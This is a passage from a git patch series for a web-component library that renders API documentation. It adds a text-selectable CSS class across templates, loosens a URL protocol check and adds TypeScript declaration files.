+        <span class="label text-selectable">${prefix}${label}</span>
+        ${typeName ? html`<span class="type-name text-selectable" title="Schema name">(${typeName})</span>` : ''}
       </div>
     </div>
     `;
@@ -598,7 +598,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
     const { name='' } = shape;
     const hasName = !!name && !name.startsWith('item');
     if (hasName) {
-      return html`<p class="inheritance-label">Properties inherited from <b>${name}</b>.</p>`;
+      return html`<p class="inheritance-label text-selectable">Properties inherited from <b>${name}</b>.</p>`;
     }
     return '';
     // return html`<p class="inheritance-label">Properties defined inline.</p>`;
@@ -696,7 +696,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
     }
     return html`
     <div class="schema-content">
-    <pre class="code-value"><code>${raw}</code></pre>
+    <pre class="code-value text-selectable"><code>${raw}</code></pre>
     </div>
     `;
   }
@@ -718,7 +718,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
       const label = readPropertyTypeLabel(schema, true);
       labelTemplate = html`
       <div class="schema-property-item">
-        <div class="schema-property-label">${label}</div>
+        <div class="schema-property-label text-selectable">${label}</div>
       </div>
       `;
     }
@@ -740,7 +740,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
       return '';
     }
     if (!items) {
-      return html`<div class="empty-info">Items are not defined for this array.</div>`;
+      return html`<div class="empty-info text-selectable">Items are not defined for this array.</div>`;
     }
     return html`
     <div class="params-section">
@@ -761,7 +761,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
     if (and.length || or.length || xone.length) {
       return this[unionShapeTemplate](/** @type ApiUnionShape */ (schema));
     }
-    return html`<p class="any-info">Any schema is accepted as the value here.</p>`;
+    return html`<p class="any-info text-selectable">Any schema is accepted as the value here.</p>`;
   }
 
   /**
@@ -772,7 +772,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
     if (schema.readOnly && this.noReadOnly) {
       return '';
     }
-    return html`<p class="nil-info">The value of this property is <b>nil</b>.</p>`;
+    return html`<p class="nil-info text-selectable">The value of this property is <b>nil</b>.</p>`;
   }
 
   /**
@@ -884,7 +884,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
     <div class="property-container">
       <div class="name-column">
         ${paramNameTemplate(label, required, deprecated)}
-        <div class="param-type">
+        <div class="param-type text-selectable">
           Unknown type
         </div>
       </div>
diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js
index 3beb14f..e23a779 100644
--- a/src/elements/ApiSecurityDocumentElement.js
+++ b/src/elements/ApiSecurityDocumentElement.js
@@ -304,9 +304,9 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     return html`
     <div class="security-header">
       <div class="security-title">
-        <span class="label">${title}</span>
+        <span class="label text-selectable">${title}</span>
       </div>
-      <p class="sub-header">${type}</p>
+      <p class="sub-header text-selectable">${type}</p>
     </div>
     `;
   }
@@ -378,7 +378,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     const { selectedStatus } = this;
     const response = responses.find((item) => item.statusCode === selectedStatus);
     if (!response) {
-      return html`<div class="empty-info">Select a response to render the documentation.</div>`;
+      return html`<div class="empty-info text-selectable">Select a response to render the documentation.</div>`;
     }
     return html`
     <api-response-document .amf="${this.amf}" .response="${response}" ?anypoint="${this.anypoint}" headersOpened payloadOpened></api-response-document>
@@ -418,8 +418,8 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     const { in: paramLocation='Unknown', name } = settings;
     const content = html`
     <div class="param-info">
-      <div class="location">Location: ${paramLocation}</div>
-      ${name ? html`<div class="label">Parameter: ${name}</div>` : ''}
+      <div class="location text-selectable">Location: ${paramLocation}</div>
+      ${name ? html`<div class="label text-selectable">Parameter: ${name}</div>` : ''}
     </div>
     ${paramLocation === 'header' ? this[apiKeyHeaderExample](name) : ''}
     ${paramLocation === 'cookie' ? this[apiKeyCookieExample](name) : ''}
@@ -464,7 +464,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     <details class="schema-example" open>
       <summary>Example</summary>
       <div class="example-content">
-        <pre class="code-value"><code>${value}</code></pre>
+        <pre class="code-value text-selectable"><code>${value}</code></pre>
       </div>
     </details>
     `;
@@ -483,7 +483,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     <div class="param-info">
       <div class="location">OpenID Connect Discovery URL</div>
       <div class="example-content">
-        <pre class="code-value"><code>${url}</code></pre>
+        <pre class="code-value text-selectable"><code>${url}</code></pre>
       </div>
     </div>
     `;
@@ -583,7 +583,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     <div class="flow-section">
       <h5 data-type="token-uri" class="value-title">Access token URI</h5>
       <div class="example-content">
-        <pre class="code-value"><code>${uri}</code></pre>
+        <pre class="code-value text-selectable"><code>${uri}</code></pre>
       </div>
     </div>`;
   }
@@ -600,7 +600,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     <div class="flow-section">
       <h5 data-type="authorization-uri" class="value-title">Authorization URI</h5>
       <div class="example-content">
-        <pre class="code-value"><code>${uri}</code></pre>
+        <pre class="code-value text-selectable"><code>${uri}</code></pre>
       </div>
     </div>`;
   }
@@ -617,7 +617,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     <div class="flow-section">
       <h5 data-type="refresh-uri" class="value-title">Token refresh URI</h5>
       <div class="example-content">
-        <pre class="code-value"><code>${uri}</code></pre>
+        <pre class="code-value text-selectable"><code>${uri}</code></pre>
       </div>
     </div>`;
   }
@@ -647,8 +647,8 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     const { name, description } = scope;
     return html`
     <li class="scope-value">
-      <span class="scope-name">${name}</span>
-      ${description ? html`<span class="scope-description">${description}</span>` : ''}
+      <span class="scope-name text-selectable">${name}</span>
+      ${description ? html`<span class="scope-description text-selectable">${description}</span>` : ''}
     </li>
     `;
   }
@@ -685,9 +685,9 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     }
     return html`
     <div class="flow-section">
-      <h5 data-type="token-credentials-uri" class="value-title">Token credentials URI</h5>
+      <h5 data-type="token-credentials-uri" class="value-title text-selectable">Token credentials URI</h5>
       <div class="example-content">
-        <pre class="code-value"><code>${uri}</code></pre>
+        <pre class="code-value text-selectable"><code>${uri}</code></pre>
       </div>
     </div>`;
   }
@@ -701,7 +701,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     <div class="flow-section">
       <h5 data-type="signatures" class="value-title">Supported signatures</h5>
       <ul>
-      ${signatures.map((item) => html`<li><pre class="code-value"><code>${item}</code></pre></li>`)}
+      ${signatures.map((item) => html`<li><pre class="code-value text-selectable"><code>${item}</code></pre></li>`)}
       </ul>
     </div>`;
   }
diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js
index 34a5789..ea4c051 100644
--- a/src/elements/ApiSummaryElement.js
+++ b/src/elements/ApiSummaryElement.js
@@ -226,7 +226,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     return html`
     <div class="api-title" role="heading" aria-level="${titleLevel}" part="api-title">
       <label part="api-title-label">API title:</label>
-      <span>${summary.name}</span>
+      <span class="text-selectable">${summary.name}</span>
     </div>`;
   }
 
@@ -241,7 +241,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     return html`
     <p class="inline-description version" part="api-version">
       <label>Version:</label>
-      <span>${summary.version}</span>
+      <span class="text-selectable">${summary.version}</span>
     </p>`;
   }
 
@@ -293,7 +293,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     const uri = UrlLib.computeApiBaseUri({ baseUri, server, protocols, });
     const { description } = server;
     return html`
-    <li>
+    <li class="text-selectable">
       ${uri}
       ${description ? html`<arc-marked .markdown=${description} class="server-description"></arc-marked>` : ''}
     </li>`;
@@ -307,7 +307,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     if (!summary || !summary.schemes || !summary.schemes.length) {
       return '';
     }
-    const result = summary.schemes.map((item) => html`<span class="chip">${item}</span>`);
+    const result = summary.schemes.map((item) => html`<span class="chip text-selectable">${item}</span>`);
 
     return html`
     <label class="section">Supported protocols</label>
@@ -321,16 +321,16 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     }
     const { name='', email, url } = summary.provider;
     const link = url ? sanitizeHTML(
-      `<a href="${url}" target="_blank" class="app-link provider-url">${url}</a>`,
+      `<a href="${url}" target="_blank" class="app-link provider-url text-selectable">${url}</a>`,
     ) : 'undefined';
     return html`
     <section role="contentinfo" class="docs-section" part="info-section">
       <label class="section">Contact information</label>
       <p class="inline-description" part="info-inline-desc">
-        <span class="provider-name">${name}</span>
-        ${email ? html`<a class="app-link link-padding provider-email" href="mailto:${email}">${email}</a>` : ''}
+        <span class="provider-name text-selectable">${name}</span>
+        ${email ? html`<a class="app-link link-padding provider-email text-selectable" href="mailto:${email}">${email}</a>` : ''}
       </p>
-      ${url ? html` <p class="inline-description" part="info-inline-desc">${unsafeHTML(link)}</p>` : ''}
+      ${url ? html` <p class="inline-description text-selectable" part="info-inline-desc">${unsafeHTML(link)}</p>` : ''}
     </section>`;
   }
 
@@ -344,7 +344,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
       return '';
     }
     const link = sanitizeHTML(
-      `<a href="${url}" target="_blank" class="app-link">${name}</a>`,
+      `<a href="${url}" target="_blank" class="app-link text-selectable">${name}</a>`,
     );
     return html`
     <section aria-labelledby="licenseLabel" class="docs-section" part="license-section">
@@ -364,7 +364,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     <section aria-labelledby="tocLabel" class="docs-section">
       <label class="section" id="tocLabel">Terms of service</label>
       <arc-marked .markdown="${summary.termsOfService}" sanitize>
-        <div slot="markdown-html" class="markdown-body"></div>
+        <div slot="markdown-html" class="markdown-body text-selectable"></div>
       </arc-marked>
     </section>`;
   }
@@ -410,7 +410,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
   [endpointPathTemplate](item) {
     return html`
     <a
-      class="endpoint-path"
+      class="endpoint-path text-selectable"
       href="#${item.path}"
       data-id="${item.id}"
       data-shape-type="resource"
@@ -428,7 +428,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     }
     return html`
     <a
-      class="endpoint-path"
+      class="endpoint-path text-selectable"
       href="#${item.path}"
       data-id="${item.id}"
       data-shape-type="resource"
diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js
index 465900a..ac43905 100644
--- a/src/elements/SchemaCommonTemplates.js
+++ b/src/elements/SchemaCommonTemplates.js
@@ -25,6 +25,7 @@ export function pillTemplate(label, title, css=[]) {
   const classes = {
     'param-pill': true,
     'pill': true,
+    // 'text-selectable': true,
   };
   css.forEach((item) => { classes[item] = true });
   return html`
@@ -69,7 +70,7 @@ function enumValuesTemplate(values) {
   <div class="schema-property-item">
   <div class="schema-property-label">Enum:</div>
     <ul class="enum-items">
-      ${values.map((item) => html`<li class="code-value inline">${/** @type ApiScalarNode */ (item).value}</li>`)}
+      ${values.map((item) => html`<li class="code-value inline text-selectable">${/** @type ApiScalarNode */ (item).value}</li>`)}
     </ul>
   </div>
   `;
@@ -91,9 +92,9 @@ export function paramNameTemplate(name, required=false, deprecated=false, paramN
   };
   return html`
   <div class="${classMap(classes)}">
-    <span class="param-label">${label}</span>
+    <span class="param-label text-selectable">${label}</span>
   </div>
-  ${paramName ? html`<span class="param-name-secondary" title="Schema property name">${paramName}</span>` : ''}
+  ${paramName ? html`<span class="param-name-secondary text-selectable" title="Schema property name">${paramName}</span>` : ''}
   `;
 }
 
@@ -106,9 +107,7 @@ export function typeValueTemplate(type) {
     return '';
   }
   return html`
-  <div class="param-type">
-    ${type}
-  </div>
+  <div class="param-type text-selectable">${type}</div>
   `;
 }
 
@@ -123,7 +122,7 @@ export function descriptionValueTemplate(description) {
   return html`
   <div class="api-description">
     <arc-marked .markdown="${description}" sanitize>
-      <div slot="markdown-html" class="markdown-body"></div>
+      <div slot="markdown-html" class="markdown-body text-selectable"></div>
     </arc-marked>
   </div>
   `;
@@ -137,7 +136,7 @@ export function descriptionValueTemplate(description) {
  */
 export function tablePropertyTemplate(label, value, name) {
   return html`
-  <div class="schema-property-item" data-name="${ifDefined(name)}">
+  <div class="schema-property-item text-selectable" data-name="${ifDefined(name)}">
     <div class="schema-property-label">${label}:</div>
     <div class="schema-property-value code-value inline">${value}</div>
   </div>
@@ -205,7 +204,7 @@ export function scalarDetailsTemplate(schema, noDetail) {
     <div class="schema-property-item">
       <div class="schema-property-label example">Examples:</div>
       <ul class="example-items">
-        ${examples.map((item) => html`<li>${item.value}</li>`)}
+        ${examples.map((item) => html`<li class="text-selectable">${item.value}</li>`)}
       </ul>
     </div>
     `;
diff --git a/src/elements/styles/ApiAnnotation.js b/src/elements/styles/ApiAnnotation.js
index f64fe30..8cc1bcb 100644
--- a/src/elements/styles/ApiAnnotation.js
+++ b/src/elements/styles/ApiAnnotation.js
@@ -29,4 +29,8 @@ export default css`
   width: 24px;
   height: 24px;
 }
+
+.text-selectable {
+  user-select: text;
+}
 `;
diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js
index 2d02eb0..339d4c3 100644
--- a/src/elements/styles/Common.js
+++ b/src/elements/styles/Common.js
@@ -121,4 +121,8 @@ export default css`
 .example-description {
   margin: 12px 0;
 }
+
+.text-selectable {
+  user-select: text;
+}
 `;
diff --git a/src/lib/UrlUtils.js b/src/lib/UrlUtils.js
index 831612d..b783f9f 100644
--- a/src/lib/UrlUtils.js
+++ b/src/lib/UrlUtils.js
@@ -20,10 +20,11 @@ export function setProtocol(url='', options={}) {
   }
 
   let result = url;
-  const hasHttpProtocol = !!result && (result.startsWith('http:') || result.startsWith('https:'));
-  if (result && !hasHttpProtocol && schemes.length) {
+  // this also run when an Async API is loaded so the protocol may be whatever.
+  const hasProtocol = !!result && result.includes('://');
+  if (result && !hasProtocol && schemes.length) {
     result = `${schemes[0]}://${result}`;
-  } else if (result && !hasHttpProtocol && options.forceHttpProtocol) {
+  } else if (result && !hasProtocol && options.forceHttpProtocol) {
     result = `http://${result}`;
   }
   return result;

From 748d54e5382d02001fd530c17451135242739c10 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Wed, 13 Oct 2021 12:41:46 -0700
Subject: [PATCH 16/36] chore: adding types

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/styles/api-console.css                   |   8 +-
 index.d.ts                                    |   1 +
 index.js                                      |   1 +
 .../ApiAuthorizationEditorElement.d.ts        |  15 +-
 src/elements/ApiChannelDocumentElement.d.ts   |  29 ++
 src/elements/ApiDocumentationElement.d.ts     | 368 ++++++++++++++++++
 src/elements/ApiOperationDocumentElement.d.ts | 313 +++++++++++++++
 src/elements/ApiParameterDocumentElement.d.ts |  44 +++
 .../ApiParametrizedSecuritySchemeElement.d.ts |  28 ++
 src/elements/ApiPayloadDocumentElement.d.ts   |  45 +++
 src/elements/ApiRequestDocumentElement.d.ts   | 140 +++++++
 src/elements/ApiResourceDocumentElement.d.ts  | 282 ++++++++++++++
 src/elements/ApiResponseDocumentElement.d.ts  |  99 +++++
 src/elements/ApiResponseDocumentElement.js    |   4 +-
 src/elements/ApiSchemaDocumentElement.d.ts    | 200 ++++++++++
 src/elements/SchemaCommonTemplates.d.ts       |  62 +++
 src/lib/PayloadUtils.d.ts                     |  21 +
 src/lib/PayloadUtils.js                       |  10 +-
 src/lib/SecurityProcessor.d.ts                |  63 +++
 src/lib/SecurityProcessor.js                  |   3 +-
 20 files changed, 1719 insertions(+), 17 deletions(-)
 create mode 100644 src/elements/ApiChannelDocumentElement.d.ts
 create mode 100644 src/elements/ApiDocumentationElement.d.ts
 create mode 100644 src/elements/ApiOperationDocumentElement.d.ts
 create mode 100644 src/elements/ApiParameterDocumentElement.d.ts
 create mode 100644 src/elements/ApiParametrizedSecuritySchemeElement.d.ts
 create mode 100644 src/elements/ApiPayloadDocumentElement.d.ts
 create mode 100644 src/elements/ApiRequestDocumentElement.d.ts
 create mode 100644 src/elements/ApiResourceDocumentElement.d.ts
 create mode 100644 src/elements/ApiResponseDocumentElement.d.ts
 create mode 100644 src/elements/ApiSchemaDocumentElement.d.ts
 create mode 100644 src/elements/SchemaCommonTemplates.d.ts
 create mode 100644 src/lib/PayloadUtils.d.ts
 create mode 100644 src/lib/SecurityProcessor.d.ts

diff --git a/demo/styles/api-console.css b/demo/styles/api-console.css
index b00e367..c03beab 100644
--- a/demo/styles/api-console.css
+++ b/demo/styles/api-console.css
@@ -5,7 +5,7 @@
 
 html,
 body {
-  background-color: #F5F5F5;
+  background-color: #ffffff;
   height: 100%;
   margin: 0;
   padding: 0;
@@ -39,13 +39,14 @@ h2.title {
 
 header {
   height: 64px;
-  background-color: #fff;
   display: flex;
   flex-direction: row;
   align-items: center;
   border-bottom: 1px solid #e5e5e5;
   padding: 20px;
   box-sizing: border-box;
+  background-color: var(--api-console-toolbar-background-color, #212121);
+  color: var(--api-console-toolbar-color, #fff);
 }
 
 header.tall {
@@ -68,7 +69,8 @@ main {
   background: var(--secondary-background-color, #ffffff);
   height: 100%;
   overflow: auto;
-  padding: 0 24px;
+  padding: 00px 24px;
+  margin: 40px 0;
 }
 
 .menu-divider {
diff --git a/index.d.ts b/index.d.ts
index 3aff1d0..cf6e263 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -26,6 +26,7 @@ export * from './src/events/Events';
 export * as InputCache from './src/lib/InputCache';
 export * as UrlLib from './src/lib/UrlUtils';
 export * as Utils from './src/lib/Utils';
+export { SecurityProcessor } from './src/lib/SecurityProcessor';
 export * from './src/types'
 export { AmfHelperMixin } from './src/helpers/AmfHelperMixin';
 export { AmfSerializer } from './src/helpers/AmfSerializer';
diff --git a/index.js b/index.js
index b5e506c..567605a 100644
--- a/index.js
+++ b/index.js
@@ -26,6 +26,7 @@ export * from './src/events/Events.js';
 export * as InputCache from './src/lib/InputCache.js';
 export * as UrlLib from './src/lib/UrlUtils.js';
 export * as Utils from './src/lib/Utils.js';
+export { SecurityProcessor } from './src/lib/SecurityProcessor.js';
 export { AmfHelperMixin } from './src/helpers/AmfHelperMixin.js';
 export { AmfSerializer } from './src/helpers/AmfSerializer.js';
 export { ns } from './src/helpers/Namespace.js';
diff --git a/src/elements/ApiAuthorizationEditorElement.d.ts b/src/elements/ApiAuthorizationEditorElement.d.ts
index d02b14e..8a7fd19 100644
--- a/src/elements/ApiAuthorizationEditorElement.d.ts
+++ b/src/elements/ApiAuthorizationEditorElement.d.ts
@@ -36,11 +36,20 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * The AMF graph model of the API.
    */
   amf: AmfDocument;
-  // Current HTTP method. Passed by digest method.
+  /**
+   * Current HTTP method. Passed by digest method.
+   * @attribute
+   */
   httpMethod: string;
-  // Current request URL. Passed by digest method.
+  /**
+   * Current request URL. Passed by digest method.
+   * @attribute
+   */
   requestUrl: string;
-  // Current request body. Passed by digest method.
+  /**
+   * Current request body. Passed by digest method.
+   * @attribute
+   */
   requestBody: string;
   /**
   * Whether or not the element is invalid. The validation state changes
diff --git a/src/elements/ApiChannelDocumentElement.d.ts b/src/elements/ApiChannelDocumentElement.d.ts
new file mode 100644
index 0000000..497f1fa
--- /dev/null
+++ b/src/elements/ApiChannelDocumentElement.d.ts
@@ -0,0 +1,29 @@
+import { TemplateResult } from 'lit-element';
+import ApiResourceDocumentElement, { urlTemplate, titleTemplate, computeUrlValue, operationTemplate, } from './ApiResourceDocumentElement.js';
+import { ApiOperation } from '../helpers/api';
+
+/**
+ * A web component that renders the async API Channel documentation page
+ */
+export default class ApiChannelDocumentElement extends ApiResourceDocumentElement {
+  /**
+   * Computes the URL value for the current serves, selected server, and endpoint's path.
+   */
+  [computeUrlValue](): void;
+
+  /**
+   * @returns The template for the Operation title.
+   */
+  [titleTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the operation's URL.
+   */
+  [urlTemplate](): TemplateResult|string;
+
+  /**
+   * @param operation The graph id of the operation.
+   * @returns The template for the API operation.
+   */
+  [operationTemplate](operation: ApiOperation): TemplateResult|string;
+}
diff --git a/src/elements/ApiDocumentationElement.d.ts b/src/elements/ApiDocumentationElement.d.ts
new file mode 100644
index 0000000..3589eb6
--- /dev/null
+++ b/src/elements/ApiDocumentationElement.d.ts
@@ -0,0 +1,368 @@
+import { TemplateResult } from 'lit-element';
+import { Oauth2Credentials } from '@advanced-rest-client/authorization';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { AmfDocument, DomainElement, EndPoint } from '../helpers/amf';
+import { ApiSummary } from '../helpers/api';
+import { ServerType, SelectionType } from '../types';
+import { ApiNavigationEvent } from '../events/NavigationEvents';
+
+export const isAsyncValue: unique symbol;
+export const operationIdValue: unique symbol;
+export const domainTypeValue: unique symbol;
+export const navigationHandler: unique symbol;
+export const navEventsRegistered: unique symbol;
+export const registerNavigationEvents: unique symbol;
+export const unregisterNavigationEvents: unique symbol;
+export const handleNavigationEventsValue: unique symbol;
+export const processApiSpecSelection: unique symbol;
+export const isLibrary: unique symbol;
+export const processLibrarySelection: unique symbol;
+export const computeDeclById: unique symbol;
+export const renderedViewValue: unique symbol;
+export const renderedModelValue: unique symbol;
+export const computeSecurityApiModel: unique symbol;
+export const computeReferenceSecurity: unique symbol;
+export const computeTypeApiModel: unique symbol;
+export const computeDocsApiModel: unique symbol;
+export const computeResourceApiModel: unique symbol;
+export const computeEndpointApiMethodModel: unique symbol;
+export const computeMethodApiModel: unique symbol;
+export const processFragment: unique symbol;
+export const processPartial: unique symbol;
+export const processEndpointPartial: unique symbol;
+export const endpointValue: unique symbol;
+export const apiSummaryValue: unique symbol;
+export const serverSelectorTemplate: unique symbol;
+export const serversCountHandler: unique symbol;
+export const serverChangeHandler: unique symbol;
+export const modelTemplate: unique symbol;
+export const summaryTemplate: unique symbol;
+export const securityTemplate: unique symbol;
+export const documentationTemplate: unique symbol;
+export const schemaTemplate: unique symbol;
+export const resourceTemplate: unique symbol;
+
+/**
+ * A main documentation view for an AMF model representing a sync or an async API.
+ * 
+ * This element works with the [AMF](https://github.com/mulesoft/amf) data model.
+ * 
+ * @fires tryit
+ * @fires apirequest
+ * @fires apiabort
+ * @fires apinavigate
+ */
+export default class ApiDocumentationElement extends ApiDocumentationBase {
+  /**
+   * Type of the selected domain item.
+   * @attribute
+   */
+  domainType: string;
+  [domainTypeValue]: string;
+  /** 
+   * The domain id of the currently rendered API operation.
+   * When selecting an operation the `domainId` is the id if the parent endpoint.
+   * @attribute
+   */
+  operationId: string;
+  [operationIdValue]: string;
+  /**
+   * By default application hosting the element must set `domainId` and
+   * `domainType` properties. When using `api-navigation` element
+   * by setting this property the element listens for navigation events
+   * and updates the state
+   * @attribute
+   */
+  handleNavigationEvents: boolean;
+  [handleNavigationEventsValue]: boolean;
+  /**
+   * A property to set to override AMF's model base URI information.
+   * @attribute
+   */
+  baseUri: string;
+  /** 
+   * When set it renders the "try it" button that dispatches the `tryit` event.
+   * @attribute
+   */
+  tryItButton: boolean;
+  /** 
+   * When set it renders the "try it" panel next to the operation documentation.
+   * Setting this automatically disables the `tryItButton` property.
+   * 
+   * Note, use this only when there's enough space on the screen to render 2 panels side-by-side.
+   * @attribute
+   */
+  tryItPanel: boolean;
+  /**
+   * OAuth2 redirect URI.
+   * This value **must** be set in order for OAuth 1/2 to work properly.
+   * This is only required in inline mode (`inlineMethods`).
+   * @attribute
+   */
+  redirectUri: string;
+  /** 
+   * When set it renders the URL input above the URL parameters in the HTTP editor.
+   * @attribute
+   */
+  httpUrlEditor: boolean;
+  /** 
+   * When set it applies the authorization values to the request dispatched
+   * with the API request event.
+   * If possible, it applies the authorization values to query parameter or headers
+   * depending on the configuration.
+   * 
+   * When the values arr applied to the request the authorization config is kept in the
+   * request object, but its `enabled` state is always `false`, meaning other potential
+   * processors should ignore this values.
+   * 
+   * If this property is not set then the application hosting this component should
+   * process the authorization data and apply them to the request.
+   * @attribute
+   */
+  httpApplyAuthorization: boolean;
+  /**
+   * List of credentials source passed to the HTTP editor
+   * @attribute
+   */
+  httpCredentialsSource: Oauth2Credentials;
+  /**
+   * Optional property to set on the request editor. 
+   * When true, the server selector is not rendered
+   * @attribute
+   */
+  httpNoServerSelector: boolean;
+  /**
+   * When set it renders "add custom" item button in the HTTP request editor.
+   * If the element is to be used without AMF model this should always
+   * be enabled. Otherwise users won't be able to add a parameter.
+   * @attribute
+   */
+  httpAllowCustom: boolean;
+  /**
+   * Optional property to set on the request editor. 
+   * If true, the server selector custom base URI option is rendered
+   * @attribute
+   */
+  httpAllowCustomBaseUri: boolean;
+  /**
+   * The URI of the server currently selected in the server selector
+   * @attribute
+   */
+  serverValue: string;
+  /**
+   * The type of the server currently selected in the server selector
+   * @attribute
+   */
+  serverType: ServerType;
+  serversCount: number;
+  /**
+   * Former `effectiveBaseUri`.
+   * @returns The URI for the API defined by the `baseUri` property or the `serverValue`.
+   */
+  get apiBaseUri(): string | undefined;
+
+  /**
+   * @deprecated Use `apiBaseUri` instead.
+   */
+  get effectiveBaseUri(): string | undefined;
+
+  /** @returns The domain type of the rendered view. */
+  get renderedView(): string;
+
+  /** @returns The domain model rendered in the view. */
+  get renderedModel(): any;
+
+  get renderSelector(): boolean;
+
+  /**
+   * This is a computed value from the AMF model.
+   * @returns true when whe currently loaded API is an async API.
+   */
+  get isAsync(): boolean;
+  [endpointValue]: EndPoint;
+  [apiSummaryValue]: ApiSummary;
+  [navEventsRegistered]: boolean;
+
+  constructor();
+
+  disconnectedCallback(): void;
+
+  /**
+   * Registers the api navigation event listener handler
+   * on the window object.
+   */
+  [registerNavigationEvents](): void;
+
+  /**
+   * Removes event listener from window object for the API navigation event.
+   */
+  [unregisterNavigationEvents](): void;
+
+  /**
+   * Handler for the API navigation event.
+   * 
+   * Note, when the current type is set to `operation` then the `operationId` is
+   * set instead of `domainId`, which is set to the parent endpoint id.
+   */
+  [navigationHandler](e: ApiNavigationEvent): void;
+
+  processGraph(): Promise<void>;
+
+  /**
+   * Processes selection for the web API data model. It ignores the input if
+   * `domainId` or `domainType` is not set.
+   * 
+   * @param model WebApi AMF model. Do not use an array here.
+   */
+  [processApiSpecSelection](model: AmfDocument): void;
+
+  /**
+   * Processes selection for a library data model. It ignores the input if
+   * `domainId` or `domainType` is not set.
+   * @param model Library AMF model. Do not use an array here.
+   */
+  [processLibrarySelection](model: AmfDocument): void;
+
+  /**
+   * Processes fragment model and sets current selection and the model.
+   * 
+   * @param model RAML fragment model
+   * @param domainType The selected domain type.
+   */
+  [processFragment](model: AmfDocument, domainType: SelectionType): void;
+
+  /**
+   * Sets the partial model to be rendered.
+   * 
+   * @param model RAML partial model
+   * @param domainType The domain type representing the partial model.
+   */
+  [processPartial](model: AmfDocument, domainType: SelectionType): void;
+
+  /**
+   * Processes endpoint data from partial model definition.
+   * It sets models that are used by the docs.
+   *
+   * If `selected` or `selectedType` is not set then it automatically selects
+   * an endpoint.
+   * @param model Partial model for endpoints
+   */
+  [processEndpointPartial](model: DomainElement): void;
+
+  /**
+   * Tests if `model` is of a RAML library model.
+   * @param model A shape to test
+   * @returns {boolean} true when the presented model is a library.
+   */
+  [isLibrary](model: AmfDocument): boolean;
+
+  /**
+   * Computes model of a shape defined in `declares` list
+   * @param model AMF model
+   * @param {string} domainId Current selection
+   */
+  [computeDeclById](model: AmfDocument, domainId: string): any|undefined;
+
+  /**
+   * Computes security scheme definition model from web API and current selection.
+   * It looks for the definition in both `declares` and `references` properties.
+   * Returned value is already resolved AMF model (references are resolved).
+   *
+   * @param model WebApi AMF model. Do not use an array here.
+   * @param {string} domainId Currently selected `@id`.
+   * @returns {DomainElement|undefined} Model definition for the security scheme.
+   */
+  [computeSecurityApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
+
+  /**
+   * Computes a security model from a reference (library for example).
+   * @param reference AMF model for a reference to extract the data from
+   * @param {string} domainId Node ID to look for
+   * @returns {DomainElement|undefined} Type definition or undefined if not found.
+   */
+  [computeReferenceSecurity](reference: AmfDocument, domainId: string): DomainElement|undefined;
+
+  /**
+   * Computes type definition model from web API and current selection.
+   * It looks for the definition in both `declares` and `references` properties.
+   * Returned value is already resolved AMF model (references are resolved).
+   *
+   * @param model WebApi AMF model. Do not use an array here.
+   * @param {string} domainId Currently selected `@id`.
+   * @returns {DomainElement|undefined} Model definition for a type.
+   */
+  [computeTypeApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
+
+  /**
+   * Computes documentation definition model from web API and current selection.
+   *
+   * @param model WebApi AMF model. Do not use an array here.
+   * @param {string} domainId Currently selected `@id`.
+   * @returns {DomainElement|undefined} Model definition for a documentation fragment.
+   */
+  [computeDocsApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
+
+  /**
+   * Computes Endpoint definition model from web API and current selection.
+   *
+   * @param model WebApi AMF model. Do not use an array here.
+   * @param {string} domainId Currently selected `@id`.
+   * @returns {DomainElement|undefined} Model definition for an endpoint fragment.
+   */
+  [computeResourceApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
+
+  /**
+   * Computes Method definition model from web API and current selection.
+   *
+   * @param model WebApi AMF model. Do not use an array here.
+   * @param {string} domainId Currently selected `@id`.
+   * @returns {DomainElement|undefined}
+   */
+  [computeMethodApiModel](model: AmfDocument, domainId: string): DomainElement|undefined;
+
+  /**
+   * @param model WebApi AMF model.
+   * @param {string} domainId Currently selected `@id`.
+   * @returns {}
+   */
+  [computeEndpointApiMethodModel](model: AmfDocument, domainId: string): DomainElement|undefined;
+
+  [serversCountHandler](e: CustomEvent): void;
+  [serverChangeHandler](e: CustomEvent): void;
+
